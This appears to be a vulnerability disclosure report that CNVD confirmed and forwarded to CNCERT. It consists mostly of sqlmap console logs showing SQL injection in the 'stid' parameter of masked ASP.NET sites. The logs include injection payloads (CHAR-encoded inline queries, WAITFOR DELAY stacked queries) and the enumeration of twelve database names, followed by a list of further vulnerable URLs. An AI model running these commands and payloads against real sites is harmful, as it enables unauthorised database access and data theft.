SDSW20_News[14:17:24] [INFO] retrieved: Man_adv[14:17:25] [INFO] retrieved: SDSW20_Main[14:17:25] [INFO] retrieved: WebFiles[14:17:25] [INFO] retrieved: NewsAPP[14:17:25] [INFO] retrieved: 91haofang[14:17:26] [INFO] retrieved:available databases [12]:[*] 91haofang[*] Man_adv[*] master[*] model[*] msdb[*] NewsAPP[*] ReportServer[*] ReportServerTempDB[*] SDSW20_Main[*] SDSW20_News[*] tempdb[*] WebFiles[14:17:26] [WARNING] HTTP error codes detected during run:403 (Forbidden) - 2 times, 500 (Internal Server Error) - 14 times[14:17:26] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'[*] shutting down at 14:17:26C:\Python27\sqlmap>Sqlmap.py -u http://**.**.**.**/List.aspx?stid=5781 --current-db _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:17:33[14:17:34] [INFO] resuming back-end DBMS 'microsoft sql server'[14:17:34] [INFO] testing connection to the target URL[14:17:34] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDSdo you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N]sqlmap resumed the following injection point(s) from stored session:---Parameter: stid (GET) Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: stid=(SELECT CHAR(113)+CHAR(113)+CHAR(112)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (9289=9289) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(112)+CHAR(113))---[14:17:35] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2008[14:17:35] [INFO] fetching current databasecurrent database: None[14:17:35] [WARNING] HTTP error codes detected during run:403 (Forbidden) - 2 times[14:17:35] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'[*] shutting down at 14:17:35C:\Python27\sqlmap>Sqlmap.py -u http://**.**.**.**/List.aspx?stid=5781 --is-dba _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:18:29[14:18:30] [INFO] resuming back-end DBMS 'microsoft sql server'[14:18:30] [INFO] testing connection to the target URL[14:18:30] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDSdo you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N]sqlmap resumed the following injection point(s) from stored session:---Parameter: stid (GET) Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: stid=(SELECT CHAR(113)+CHAR(113)+CHAR(112)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (9289=9289) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(112)+CHAR(113))---[14:18:31] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2008[14:18:31] [INFO] testing if current user is DBAcurrent user is DBA: False[14:18:31] [WARNING] HTTP error codes detected during run:403 (Forbidden) - 2 times[14:18:31] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'[*] shutting down at 14:18:31C:\Python27\sqlmap>案例2.Microsoft Windows [版本 6.3.9600](c) 2013 Microsoft Corporation。保留所有权利。C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/special/2013/sbjszqh/list.aspx?stid=5446&pageid=2 _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:20:54[14:20:54] [INFO] testing connection to the target URL[14:20:55] [WARNING] reflective value(s) found and filtering out[14:20:55] [INFO] testing if the target URL is stable[14:20:56] [INFO] target URL is stable[14:20:56] [INFO] testing if GET parameter 'stid' is dynamic[14:20:56] [INFO] confirming that GET parameter 'stid' is dynamic[14:20:56] [INFO] GET parameter 'stid' is dynamic[14:20:56] [INFO] heuristic (basic) test shows that GET parameter 'stid' might be injectable (possible DBMS: 'Microsoft SQL Server')[14:20:56] [INFO] testing for SQL injection on GET parameter 'stid'it looks like the back-end DBMS is 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n]for the remaining tests, do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1) values? [Y/n][14:20:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[14:20:59] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace'[14:20:59] [INFO] GET parameter 'stid' seems to be 'Microsoft SQL Server/Sybaseboolean-based blind - Parameter replace' injectable (with --string="\u7b56\u5212\u3001\u5236\u4f5c\uff1a")[14:20:59] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'[14:20:59] [INFO] GET parameter 'stid' is 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' injectable[14:20:59] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'[14:20:59] [INFO] GET parameter 'stid' is 'Microsoft SQL Server/Sybase inline queries' injectable[14:20:59] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'[14:20:59] [WARNING] time-based comparison requires larger statistical model, please wait.........[14:21:12] [INFO] GET parameter 'stid' seems to be 'Microsoft SQL Server/Sybasestacked queries (comment)' injectable[14:21:12] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'[14:21:22] [INFO] GET parameter 'stid' seems to be 'Microsoft SQL Server/Sybasetime-based blind' injectable[14:21:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[14:21:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique foundGET parameter 'stid' is vulnerable. Do you want to keep testing the others (if any)? [y/N]sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:---Parameter: stid (GET) Type: boolean-based blind Title: Microsoft SQL Server/Sybase boolean-based blind - Parameter replace Payload: stid=(SELECT (CASE WHEN (6827=6827) THEN 6827 ELSE 6827*(SELECT 6827 FROM master..sysdatabases) END)) Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: stid=5446 AND 7645=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (7645=7645) THEN CHAR(49) ELSE CHAR(48)END))+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(112)+CHAR(113))) Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: stid=(SELECT CHAR(113)+CHAR(118)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (9009=9009) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(112)+CHAR(113)) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: stid=5446;WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: stid=5446 WAITFOR DELAY '0:0:5'---[14:22:23] [INFO] testing Microsoft SQL Server[14:22:24] [INFO] confirming Microsoft SQL Server[14:22:24] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2008 R2 or 7web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2008[14:22:24] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 50 times[14:22:24] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'[*] shutting down at 14:22:24'pageid' 不是内部或外部命令,也不是可运行的程序或批处理文件。C:\Python27\sqlmap>案例1.Microsoft Windows [版本 6.3.9600](c) 2013 Microsoft Corporation。保留所有权利。C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/list.aspx?stid=5882 _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:08:19[14:08:20] [INFO] testing connection to the target URL[14:08:20] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDSdo you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N][14:08:21] [INFO] testing if the target URL is stable[14:08:21] [INFO] target URL is stable[14:08:21] [INFO] testing if GET parameter 'stid' is dynamicsqlmap got a 302 redirect to 'http://**.**.**.**:80/'. Do you want to follow? [Y/n][14:08:21] [INFO] confirming that GET parameter 'stid' is dynamic[14:08:22] [INFO] GET parameter 'stid' is dynamic[14:08:22] [INFO] heuristic (basic) test shows that GET parameter 'stid' might be injectable (possible DBMS: 'Microsoft SQL Server')[14:08:22] [INFO] testing for SQL injection on GET parameter 'stid'it looks like the back-end DBMS is 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n]for the remaining tests, do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1) values? [Y/n][14:08:23] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[14:08:24] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace'[14:08:24] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)'[14:08:24] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause'[14:08:24] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause (original value)'[14:08:24] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)'[14:08:27] [WARNING] reflective value(s) found and filtering out[14:08:30] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Stacked queries'[14:08:35] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'[14:08:37] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause'[14:08:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'[14:08:42] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)'[14:08:44] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'[14:08:44] [INFO] GET parameter 'stid' is 'Microsoft SQL Server/Sybase error-based - Parameter replace' injectable[14:08:44] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'[14:08:45] [INFO] GET parameter 'stid' is 'Microsoft SQL Server/Sybase inline queries' injectable[14:08:45] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'[14:08:45] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'[14:08:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'[14:08:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (comment)'[14:08:45] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)'[14:08:45] [INFO] testing 'Microsoft SQL Server/Sybase OR time-based blind (heavy query)'[14:08:45] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query - comment)'[14:08:45] [INFO] testing 'Microsoft SQL Server/Sybase OR time-based blind (heavy query - comment)'[14:08:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parameter replace'[14:08:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parameter replace (heavy queries)'[14:08:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - ORDERBY clause'[14:08:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - ORDERBY clause (heavy query)'[14:08:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[14:08:45] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique foundGET parameter 'stid' is vulnerable. Do you want to keep testing the others (if any)? [y/N]sqlmap identified the following injection point(s) with a total of 435 HTTP(s) requests:---Parameter: stid (GET) Type: error-based Title: Microsoft SQL Server/Sybase error-based - Parameter replace Payload: stid=(CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3398=3398) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(98)+CHAR(113)))) Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: stid=(SELECT CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5256=5256) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(98)+CHAR(113))---[14:08:59] [INFO] testing Microsoft SQL Server[14:08:59] [INFO] confirming Microsoft SQL Server[14:09:00] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windowsweb application technology: ASP.NET 0back-end DBMS: Microsoft SQL Server 2008[14:09:00] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 32 times[14:09:00] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'[*] shutting down at 14:09:00C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/list.aspx?stid=5882 --dbs _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:09:07[14:09:07] [INFO] resuming back-end DBMS 'microsoft sql server'[14:09:07] [INFO] testing connection to the target URL[14:09:07] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDSdo you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N]sqlmap resumed the following injection point(s) from stored session:---Parameter: stid (GET) Type: error-based Title: Microsoft SQL Server/Sybase error-based - Parameter replace Payload: stid=(CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3398=3398) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(98)+CHAR(113)))) Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: stid=(SELECT CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5256=5256) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(98)+CHAR(113))---[14:09:08] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windowsweb application technology: ASP.NET 0back-end DBMS: Microsoft SQL Server 2008[14:09:08] [INFO] fetching database names[14:09:08] [WARNING] the SQL query provided does not return any output[14:09:08] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'[14:09:08] [INFO] retrieved: SDSW20_News[14:09:09] [INFO] retrieved: master[14:09:09] [INFO] retrieved: tempdb[14:09:09] [INFO] retrieved: model[14:09:09] [INFO] retrieved: msdb[14:09:10] [INFO] retrieved: ReportServer[14:09:10] [INFO] retrieved: ReportServerTempDB[14:09:10] [INFO] retrieved: SDSW20_News[14:09:11] [INFO] retrieved: Man_adv[14:09:11] [INFO] retrieved: SDSW20_Main[14:09:11] [INFO] retrieved: WebFiles[14:09:11] [INFO] retrieved: NewsAPP[14:09:12] [INFO] retrieved: 91haofang[14:09:12] [INFO] retrieved:available databases [12]:[*] 91haofang[*] Man_adv[*] master[*] model[*] msdb[*] NewsAPP[*] ReportServer[*] ReportServerTempDB[*] SDSW20_Main[*] SDSW20_News[*] tempdb[*] WebFiles[14:09:12] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 14 times[14:09:12] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'[*] shutting down at 14:09:12C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/list.aspx?stid=5882 --current-db _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:09:38[14:09:38] [INFO] resuming back-end DBMS 'microsoft sql server'[14:09:38] [INFO] testing connection to the target URL[14:09:39] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDSdo you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N]sqlmap resumed the following injection point(s) from stored session:---Parameter: stid (GET) Type: error-based Title: Microsoft SQL Server/Sybase error-based - Parameter replace Payload: stid=(CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3398=3398) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(98)+CHAR(113)))) Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: stid=(SELECT CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5256=5256) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(98)+CHAR(113))---[14:09:39] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windowsweb application technology: ASP.NET 0back-end DBMS: Microsoft SQL Server 2008[14:09:39] [INFO] fetching current databasecurrent database: None[14:09:39] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'[*] shutting down at 14:09:39C:\Python27\sqlmap>
提交六发案例 其余自测...http://**.**.**.**/list.aspx?stid=5882http://**.**.**.**/special/2013/sbjszqh/list.aspx?stid=5446&pageid=2http://**.**.**.**/List.aspx?stid=5781http://**.**.**.**/quxian/List.aspx?AreaInfoID=119http://**.**.**.**/pinggu/result.aspx?id=1051 --tables -D 91haofanghttp://**.**.**.**/list.aspx?stid=6041
I don't Know. ?
危害等级:高
漏洞Rank:11
确认时间:2016-01-08 16:56
CNVD确认并复现所述情况,已经转由CNCERT下发给山东分中心,由其后续协调网站管理单位处置。
暂无